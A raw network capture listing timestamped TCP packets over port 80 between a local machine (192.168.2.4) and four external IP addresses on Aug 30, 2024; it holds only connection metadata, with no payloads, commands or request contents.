Aug 30, 2024 03:17:07.379190922 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.379237890 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.379266977 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.379282951 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.379292011 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.379313946 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.379323959 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.382520914 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.382533073 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.382543087 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.382565975 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.382571936 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.382576942 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.382591009 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.382592916 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.382611036 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.382616043 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.382630110 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.382639885 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.382642984 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.382663965 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.382690907 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.382694960 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.382708073 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.382716894 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.382730007 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.382738113 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.382741928 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.382765055 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.382776022 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.395872116 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.395946980 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.395971060 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.395982027 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.395989895 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396002054 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396002054 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396017075 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396025896 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396034956 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396050930 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396342993 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396356106 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396374941 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396390915 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396399975 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396401882 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396414042 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396414042 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396435976 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396441936 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396449089 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396460056 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396466017 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396470070 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396498919 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396507025 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396512985 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396522999 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396532059 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396553993 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396553993 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396562099 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396568060 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396579027 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396593094 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396609068 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396625996 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396636009 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396658897 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396670103 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396676064 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396680117 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396696091 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396716118 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396723986 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396735907 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396759987 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396773100 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396775961 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396785021 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396794081 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396817923 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396841049 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396848917 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396859884 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396879911 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396886110 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396893978 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396914959 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396918058 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396930933 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396939039 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396940947 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.396950006 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396970034 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.396981955 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.397006035 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397017956 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397027969 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397038937 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397049904 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397049904 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.397069931 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.397089005 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.397109032 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397126913 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397157907 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.397159100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.397171021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.397180080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.397191048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.397201061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.397206068 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.397213936 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.397243977 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.397300959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.397310972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.397320032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.397330046 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397341013 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397342920 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.397351027 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397361994 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397363901 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.397365093 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.397375107 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397376060 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.397397995 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.397422075 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.397424936 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397437096 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397447109 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397458076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.397459984 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.397474051 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.397499084 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.397500038 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.397538900 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.397548914 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.397558928 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.397569895 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.397581100 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.397581100 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.397593021 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.397594929 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.397619009 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.397643089 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.397679090 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397690058 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397699118 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397722006 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.397722006 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397735119 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397743940 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.397746086 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397763014 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397769928 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.397773981 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397784948 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397789001 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.397797108 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.397809982 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.397813082 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.397838116 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.397851944 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.397854090 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.398044109 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.398060083 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.398068905 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.398081064 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.398086071 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.398091078 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.398102999 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.398109913 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.398112059 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.398123980 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.398127079 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.398134947 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.398142099 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.398145914 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.398156881 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.398164034 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.398168087 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.398179054 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.398185968 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.398190022 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.398200989 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.398205042 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.398215055 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.398226023 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.398226976 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.398236036 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.398262024 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.398299932 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.398322105 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.398333073 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.398338079 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.398344040 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.398361921 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.398363113 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.398371935 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.398382902 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.398406029 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.398410082 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.398423910 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.398442030 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.398452044 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.398462057 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.398466110 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.398473024 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.398483038 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.398494959 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.398520947 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.398614883 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.398631096 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.398644924 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.398657084 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.398658991 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.398667097 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.398669004 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.398695946 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.398718119 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.398725033 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.398736954 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.398750067 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.398762941 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.398773909 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.398773909 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.398793936 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.398798943 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.398808002 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.398812056 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.398838043 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.398840904 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.398852110 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.398853064 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.398871899 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.398880959 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.398883104 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.398893118 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.398914099 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.400187016 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.400197983 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.400223970 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.400233984 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.400243998 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.400245905 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.400255919 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.400268078 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.400278091 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.400285959 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.400286913 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.400311947 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.400321007 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.400908947 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.400954962 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.400958061 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.400969982 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.400979996 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.400995016 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.401005030 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.401022911 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.401026964 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.401035070 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.401045084 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.401061058 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.401082993 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.403502941 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.403562069 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.403572083 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.403580904 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.403608084 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.403614044 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.403623104 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.403630018 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.403633118 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.403651953 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.403676987 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.404184103 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404227972 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.404243946 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404254913 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404266119 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404282093 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.404287100 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.404320955 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.404321909 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.404429913 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.404441118 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.404449940 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.404462099 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.404472113 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.404479027 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.404489994 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.404495001 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.404504061 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404508114 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.404529095 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404540062 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.404541969 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404551983 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404557943 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.404567957 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.404576063 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404586077 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404588938 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.404596090 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404613018 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.404616117 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404627085 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404630899 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.404637098 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404647112 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404648066 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.404656887 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404668093 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404676914 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.404686928 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404699087 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404700994 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.404707909 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404719114 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404721022 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.404735088 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404746056 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.404771090 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.404814005 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404823065 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404833078 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404845953 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404856920 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.404858112 CEST	80	49735	31.41.244.9	192.168.2.4
